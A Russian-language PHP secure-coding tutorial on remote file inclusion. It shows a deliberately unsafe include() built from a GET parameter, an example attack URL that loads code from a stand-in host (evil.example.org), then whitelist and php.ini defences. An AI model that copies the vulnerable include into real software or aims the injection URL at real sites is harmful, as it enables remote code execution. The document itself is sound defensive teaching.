Remote Code Injection

При подключении файлов через include() или require(), следует обратить особое внимание при подключении файлов, основанных на введенных пользователем данных. Данная атака состоит в том, что злоумышленник может заставить приложение выполнять любой код на свое усмотрение. Например, приложение использует следующую строку запроса

http://example.org/?section=news

чтобы разбить приложение по секциям. И может использовать вызов include(), чтобы подключать скрипт, который будет показывать секцию "новости":

include "{$_GET['section']}/data.inc.php";

При правильном использовании URL для доступа к этой секции, скрипт выполнит открытие файла из news/data.inc.php. Но если злоумышленних модефицирует строку, чтобы внедрить вредоносный код, расположенный на другом сайте:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

В таком случае значение для секции будет подменено и в вызове include() и код изменится на:

include "http://evil.example.org/attack.inc?/data.inc.php

Приложение включит в свой код файл attack.inc, расположенный на удаленном сервере, который рассматривает /data.inc.php как часть строки запроса. Любой код, расположенный в фале attack.inc выполнится на лету, во время исполнения.

Для защиты от подобного рода атак следует фильтровать все входные данные и никода не подключать через include() или require() недостоверные данные:

$clean = array();
$sections = array('home', 'news', 'photos', 'blog');

if (in_array($_GET['section'], $sections)) {
  $clean['section'] = $_GET['section'];
} else {
  $clean['section'] = 'home';
}

include $clean['section'] . "/data.inc.php";

Директива allow_url_fopen позволяет PHP работать с URL как с обычными файлами. По умолчанию она включена. Но можно и отключить ее в файле php.ini, что обезопасит приложение от возможности включать или открывать удаленные URL как файлы. Директива allow_url_include разрешает или запрещает включать удаленные файлы через include() или require().

  • PHP предоставляет большие возможности с такими функциями как exec(), system() и passthru(). Так же и с оператором ` (backtick).
  • Нельзя использовать функции include() или require(), или eval() на данных, предоставленных пользователем. Так же небезопасны preg_replace() с флагом ( /e для выполнения выражения) и функция create_function().
  • Include Files Attacks: возможны с удаленных серверов. Необходимо проверять данные на whitelist, удалять путь к файлу с помощью basename() и вместо пути использовать include_path. В php.ini установить allow_url_fopen = off.
  • Dynamic Data Call Attacks: code injection при использовании динамических данных в функции system() и других похожих. escapeshellargs() - для экранирования аргументов, escapeshellcmd() - экранирование команд.